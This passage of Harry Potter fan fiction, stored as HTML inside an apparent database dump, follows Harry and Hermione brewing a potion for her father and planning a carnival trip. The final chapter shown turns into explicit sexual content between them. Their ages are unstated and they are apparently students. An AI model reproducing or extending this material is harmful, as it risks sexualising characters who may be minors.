Harry knowing\nhow to disapparate, their situation of her lying on top of him on her bed with\na wide open towel would have been quite difficult to explain.&nbsp; Instead, her mom had just come to say good\nmorning and to tell her that her father wasn&#8217;t feeling too well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Another knock brought Hermione to the door once again, but\nshe was more than happy to see Harry standing in her doorway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Herm, sorry to be a pain, but do you mind if I use your\nbathroom?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She just shook her head.&nbsp;\nHe was just here not more than five minutes ago, yet he thought he had\nto ask to use something inside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course, you can.&nbsp;\nIs something wrong with the other one?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your dad&#8217;s inside, and he doesn&#8217;t sound too good.&nbsp; I asked your mom, and she said that he might\nhave a bad case of the flu.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh my, I didn&#8217;t even notice,&#8221; Hermione sighed and looked\ndown at the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry sweetheart, I guess I&#8217;ve had all your attention.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No Harry, it&#8217;s not your fault.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tell you what, after I clean up, how &#8216;bout we hunt for a\npotion for him.&nbsp; I&#8217;m sure some wizard\ncame up with an antidote to a fouled-up stomach.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s a great idea.&nbsp;\nI&#8217;ll get dressed and start looking.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, be out in five minutes,&#8221; and Harry disappeared into\nher bathroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione pulled on pair of shorts and a t-shirt before\nheading to her bookcase in search of her &#8216;Remedies to all Illnesses&#8217; book.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After about an hour of searching, Harry and Hermione\ncouldn&#8217;t find anything about remedies for the flu.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t get it.&nbsp;\nThere has to be thousands of muggle cures for it; you&#8217;d think wizards\nwould come up with some as well,&#8221; Hermione sighed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Some things aren&#8217;t explainable&#8230;&#8221; Harry answered as he\nskimmed over another crinkly page of text. &#8220;&#8230;hold it&#8230;I got it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where?&#8221; He pointed to appointed section.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t believe this,&#8221; Hermione groaned, &#8220;They labeled it\nas &#8216;gastrointestinal imbalance&#8217;!&nbsp; Who in\nthe name of Merlin wrote this book?&#8221; She turned the spine over to read\n&#8216;Author:&nbsp; Miles Lieter &#8211; Master of\nGigantic Words&#8217;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s the ingredients for it?&#8221; Harry inquired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione flipped back to the page and looked over the list\nof items.&nbsp; They weren&#8217;t too hard to\nfind, but she wasn&#8217;t sure where to find two cloves of stinkweed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;I think we can find most of this stuff here in the\nhouse, but I don&#8217;t where to get stinkweed from.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t worry, I have some,&#8221; he answered.&nbsp; She looked at him shocked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;you have a collection of stinkweed?&nbsp; Since when?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Since I got a gift bag from Fred and George Weasley.&nbsp; It was the grand opening at their joke shop,\nand they sent me all these weird things to play pranks on people &#8211; from\nstinkweed to trick fireworks to exploding gumballs.&nbsp; Trust me, if it&#8217;s weird, they can get it for you.&#8221; Hermione\nstarted laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s true.&nbsp; Well\nthen, let&#8217;s get cracking&#8230;&#8221; An eerie groan emanated from down the hallway,\n&#8220;&#8230;before my dad loses whatever stomach he has left.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry followed her downstairs, and the two headed for the\nkitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mom, how&#8217;s dad?&#8221; Hermione asked.&nbsp; Her mother gave her a smile that didn&#8217;t quite reach her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I called the doctor this morning since he&#8217;s been sick the\nlast few days.&nbsp; Your father has a bad\nstomach virus, but unfortunately, there isn&#8217;t a real cure for it.&nbsp; The body just has to purge it on its\nown.&nbsp; Until then, we just have to try to\nkeep him comfortable.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe we can help,&#8221; Harry piped up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah mom, that&#8217;s why we came down here.&nbsp; Do you know if we have these things?&#8221; and\nHermione handed her mother the list of ingredients from her book.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm&#8230;I think so&#8230;I should have most of these, but I&#8217;m not so\nsure about the rosemary, lizard scales, and stinkweed.&#8221; Her face contorted as\nshe read the last two.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I might have them in my collection,&#8221; Hermione stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your collection?&#8221; Harry asked and looked at her\nquizzically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, I&#8217;ll show you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He followed her into the pantry adjacent to the kitchen, and\nHermione opened a cabinet in the back of the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow!&#8221; Harry gasped as he saw the various items she kept\ninside.&nbsp; There was just about ever\ningredient from their Potions class stored inside.&nbsp; She even had a Mandrake in a pot.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Jeez Herm, this reminds me of Herbology class.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very funny, I keep this here in case I need it over the\nsummer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Need it for what?&#8221; She glared at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Contrary to other people, I don&#8217;t just lie around all\nsummer; I practice quite a bit so I don&#8217;t forget everything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry tried hard to keep a straight face, but he just\ncouldn&#8217;t help it and started laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you laughing at?&#8221; Hermione said angrily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry, it&#8217;s just that&#8230;I should have guessed you&#8217;d have\nsomething like this.&#8221; His girlfriend crossed her arms over her chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah well&#8230;I guess&#8230;when we&#8217;re together, I don&#8217;t need to use\nmy brains very much unless we&#8217;re studying for a test or class.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione turned away from him and silently began looking for\nwhat she needed.&nbsp; Harry could sense her\nuneasiness and walked up behind her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetheart&#8230;&#8221; he sighed and wrapped her in his arms, &#8220;&#8230;I&#8217;m\nnot ashamed that my girlfriend is so much smarter than myself or anyone else;\nin fact, I kind of like it.&nbsp; I love you\nfor your beauty and your brains &#8211; neither one matters more to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione turned her head around with a big smile on her lips.&nbsp; She&#8217;d really needed to hear that.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks Harry, I needed to hear that from you.&nbsp; I know it doesn&#8217;t matter, but sometimes,\nit&#8217;s nice to be reminded.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How&#8217;s this&#8230;&#8221; and he gave her a long, sweet kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;More than adequate.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good, now, let&#8217;s find that stuff.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mrs. Granger was nervous about Hermione brewing a potion in\nher kitchen, but her daughter assured her that nothing would go wrong.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;let&#8217;s see&#8230;we added the cloves and the rosemary.&nbsp; What&#8217;s left?&#8221; Hermione asked.&nbsp; Harry looked at the large book open on the\ncounter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;just add the stinkweed, and it should be done.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The moment that Hermione dropped in the small greenish-gray\nplant, the potion exploded upwards, and a puff of smoke erupted out of the\npot.&nbsp; She was thrown backwards, but Harry&#8217;s\nquick reflexes caught her before she hit the ground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What was that?&#8221; Hermione gasped as Harry helped her to her\nfeet.&nbsp; She checked the ingredients again\nand groaned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, you didn&#8217;t read this correctly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean?&#8221; he asked and came up behind her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There&#8217;s a warning at the bottom that says the potion is\nquite volatile and may explode upon completion.&nbsp; That&#8217;s how you know it&#8217;s done.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So, we did it right didn&#8217;t we?&#8221; Hermione glared at him\nslightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You could&#8217;ve warned me the pot would blow up in my face.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry, but at least now, we can help your dad.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t change the subject, next time you can have the potion\nblow up in your face!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry wrapped his arms around her and hugged her\ngently.&nbsp; Hermione felt her anger\ndraining away at the regretful look in his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry, Herm, I really am.&nbsp; I promise that I&#8217;ll double-check the ingredients if we ever do\nthis again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, I&#8217;ll forgive you,&#8221; and she gave him a quick peck\non the lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What was that noise?&#8221; Melinda Granger asked as she raced\ninto the kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re finished mom,&#8221; Hermione stated and handed her mother\na glass with a purplish-looking fluid in it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here, have dad drink this, and he should feel better in\nabout an hour.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The older woman took the glass, and her face scrunched up at\nthe foul smell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If it smells this bad, it had better work.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mrs. Granger headed into the living room where her husband\nwas lying down on the couch.&nbsp; She handed\nhim the potion, and his face nearly turned green at the horrid smell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please John, Hermione said this would help you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, it can&#8217;t get much worse anyway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He held his nose and downed the concoction in one gulp.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;that tasted worse than sewer water.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Despite the disgusting taste, the potion did its job, and an\nhour later, Mr. Granger was back on his feet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How are you feeling, dad?&#8221; Hermione asked that night after\ndinner.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Much better, sweetie, thank you.&nbsp; I&#8217;m not sure what you and Harry cooked up, but it worked like a\ncharm.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That reminds me, Hermione, this came in the mail today,&#8221;\nher mother stated and handed her daughter a colorful flyer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh my goodness!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s all the excitement about?&#8221; Harry asked as he walked\nin from the kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look!&#8221; Hermione gasped and nearly shoved the flyer into his\nface.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It read&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">BRISTOL CIRCUS AND CARNIVAL COMING TO TOWN NEXT MONTH!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See Harry, every two years, the carnival in Bristol comes\nto our town for a week or so, depending on how popular it is.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I take it, you love it,&#8221; he said with a wide grin,\nnoting his girlfriend&#8217;s smiling face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course, I love it; it&#8217;s a lot of fun.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8217;s loved the carnival ever since she was a small\nchild,&#8221; John Granger said with a warm smile, &#8220;In fact, I remember one time\nwhere she even got doused by an elephant because she didn&#8217;t give him any\npeanuts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry couldn&#8217;t help and started laughing while Hermione\nblushed slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dad, stop it, you&#8217;re embarrassing me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetie, we&#8217;d love to take you, but your father and I have\nto work this weekend,&#8221; Melinda said with a regretful sigh.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her daughter&#8217;s face fell.&nbsp;\nThey lived about seven or eight miles outside the main part of town\nwhere the carnival was going to take place.&nbsp;\nShe thought about flying there, but she wasn&#8217;t the most accomplished\nwitch on a broomstick.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We can still go, Herm,&#8221; Harry interrupted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, it&#8217;s over five miles to town; I&#8217;m not walking there\nand back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who said anything about walking?&#8221; he asked with a wide\ngrin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, no you don&#8217;t,&#8221; Hermione stated firmly, &#8220;I&#8217;m not flying\nthere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We don&#8217;t have to fly; we can apparate.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But I don&#8217;t know how?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t have to; you just have to hang onto me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But won&#8217;t people see you when you just appear out of\nnowhere?&#8221; Mrs. Granger asked worriedly.&nbsp;\nHarry&#8217;s grin only widened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No ma&#8217;am, that can be taken care of quite easily.&nbsp; Right, Hermione?&#8221; he said, hoping she would\nunderstand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course!&nbsp; Why\ndidn&#8217;t I think of it before?&nbsp; Your\ninvisibility cloak!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Exactly.&nbsp; We can put\nit on before we leave, and nobody will notice us when we show up at the\ncarnival.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione lunged out of her chair and jumped into Harry&#8217;s\nlap.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you, love, this means a lot to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t mind, Herm, besides, I&#8217;ve never been to carnival\nbefore anyway.&nbsp; So, if your parents\ndon&#8217;t mind, it&#8217;s a date.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please mom?&#8221; Hermione sighed like a little child.&nbsp; Melinda smiled at her daughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, if Harry can do what he says he can do, then I don&#8217;t\nsee why not.&nbsp; Just bring me back a\nsouvenir.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks mom.&nbsp; This is\ngonna be so great!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was trying hard not to laugh; he&#8217;d never seen Hermione\nso giddy.&nbsp; He swore that if he hadn&#8217;t\nbeen holding onto her, she&#8217;d be bouncing off the walls.&nbsp; He could just imagine the bundle of energy\nshe&#8217;d be at the carnival, but it was worth it to make her so happy.&nbsp; After the hell they&#8217;d gone through the past\nyear, they both deserved some serious R&amp;R.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione snuggled close to her lover&#8217;s heart.&nbsp; She should&#8217;ve known Harry would make\neverything better; he always did.&nbsp; Now,\nthe carnival would be twice as wonderful because she would be sharing it would\nthe man she loved.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is interesting,&#8221; her father cut in, &#8220;It looks like\nthey added something new this year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean, John?&#8221; his wife asked.&nbsp; He handed her the flyer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look at the bottom of the add.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At the bottom of the colorful flyer, it read:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">NEW ADDITION THIS YEAR &#8211; MEDIEVAL TOURNAMENT</p>\n\n<p class="MsoNormal">COME SEE OUR KNIGHTS BATTLE IT OUT TO THE END</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow, that should be something to watch,&#8221; Harry gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I can just see a bunch of guys wearing tin cans and\ncharging at each other with lances,&#8221; Hermione laughed.&nbsp; Harry decided to get into the act.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Milady, would you care to accompany me to this prestigious\ntournament?&#8221; he asked, smiling at his lover.&nbsp;\nShe tried hard not to giggle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It would be a pleasure, kind sir.&#8221; They both started\nlaughing, and Mr. and Mrs. Granger soon joined them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 5, '\n\n\n\n<p class="MsoNormal">&#8220;Bye sweetie, have a good time all right!&#8221; Melinda Granger\ncalled as she and her husband climbed into their car.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks mom, we will.&#8221; Hermione waved to her parents as they\nexited the driveway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She closed the door, and a bright smile crossed her\nface.&nbsp; It was going to be a great\nday!&nbsp; She couldn&#8217;t wait for the\ncarnival, and better still, Harry was coming with her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione headed upstairs and heard the shower running in the\nbathroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Hmm&#8230;&#8217; her brain began to churn with thoughts of Harry in\nthere all alone &#8211; with nothing on.&nbsp; It\nwas too good to pass up, and besides, she needed a shower too.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With a sneakiness Ron would have been proud of, Hermione\ncrept into the bathroom and closed the door quietly.&nbsp; She locked the door and dropped her robe and nightgown on the\nfloor.&nbsp; Oh yes, it was going to be a\nvery good day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry thought he&#8217;d heard something move, but the spray\nhampered his ears so he just figured it was the wood creaking or something.&nbsp; He had the strange sensation that he was\nbeing watched, and his neck hairs began to tingle anxiously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There enough room for two in here?&#8221; a soft voice cooed from\nbehind him.&nbsp; He snapped around to see\nHermione grinning devilishly at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&nbsp; What are\nyou&#8230;&#8221; He lost his train of thought as she stepped into the shower .&nbsp; The steam from the hot water caused a sheen\nof sweat to appear on her, and her skin glistened slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What am I what?&#8221; she teased and advanced on him with eyes\nfull of desire.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you&#8230;d-doing in here?&#8221; he choked out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you think?&#8221; Hermione pressed her body up against\nhim and wrapped her arms around his neck. &#8220;I&#8217;m seducing you,&#8221; and she kissed\nhim hungrily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bloody hell!&#8221; Harry lost it completely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He crushed her in his arms and swarmed into her mouth.&nbsp; Reaching down, he squeezed her round\nderriere and ground his hips into her waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Deciding to play with him a bit, Hermione reached down and\ncoiled her hand around his blatant arousal.&nbsp;\nHe&#8217;d been hard from the moment she&#8217;d joined him in the shower, and she\ncould feel the blood pulsing within her hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry snatched her hands away before she killed him and spun\nthem around.&nbsp; He grasped her hands and\npushed her up against the wall.&nbsp; Staring\ninto his lust-laden eyes, Hermione licked her lips and put a &#8216;come get me&#8217;\nsmile on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His hands slid down and cupped the full round orbs of her\nbreasts.&nbsp; Now, it was Hermione&#8217;s turn to\nbe surprised, and Harry swooped down on his target.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Harry!&#8221; His mouth closed over her nipple and suckled her\ngently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With one hand now free to work, the young wizard went for\nher hot spot and brought his fingers to play against the very heart of her\nwomanly desire.&nbsp; She was already swollen\nwith arousal, and he could feel the wetness of her juices against his\nhand.&nbsp; She was more than ready for him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes&#8230;oh, my love&#8230;don&#8217;t stop!&#8221; Hermione begged as she held\nhis head to her breasts.&nbsp; Harry knew\nexactly how to drive her crazy.&nbsp; All it\ntook was one touch or one caress, and she was hot for him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ignoring her moans of displeasure, Harry released her\nbreasts and stood back up to his full height.&nbsp;\nHis hands slid down under her legs, and he hoisted Hermione up into the\nair.&nbsp; Parting her thighs, he slipped in\nbetween them to his ultimate goal.&nbsp; His\nshaft brushed her opening, and she nearly shrieked.&nbsp; He&#8217;d left her right on the brink, and he knew it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now, who&#8217;s seducing who, my angel?&#8221; he smirked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re mean!&#8221; Hermione retorted as unsatisfied desire\ncontinued to burn inside her body.&nbsp; It\nwas worse than having an inch you couldn&#8217;t scratch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;On the contrary&#8230;&#8221; Harry whispered seductively and kissed\nher, &#8220;&#8230;I just know how to please my girl!&#8221; and he plunged into her depths in\none full stroke.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhhhhh!!!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione exploded as she felt him fill her completely.&nbsp; Her head slumped onto his shoulder, but he\nheld her up in his arms.&nbsp; He wasn&#8217;t done\nwith her yet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pulled out and thrust back into her, driving his\nhardness into her sweet opening with hard but controlled force.&nbsp; He knew that there were different types of\nways to make love.&nbsp; There was soft and\ntender, which they did quite often, but they&#8217;d never just gone after each other\nlike this, and it made his desire burn even hotter.</p>\n\n<p 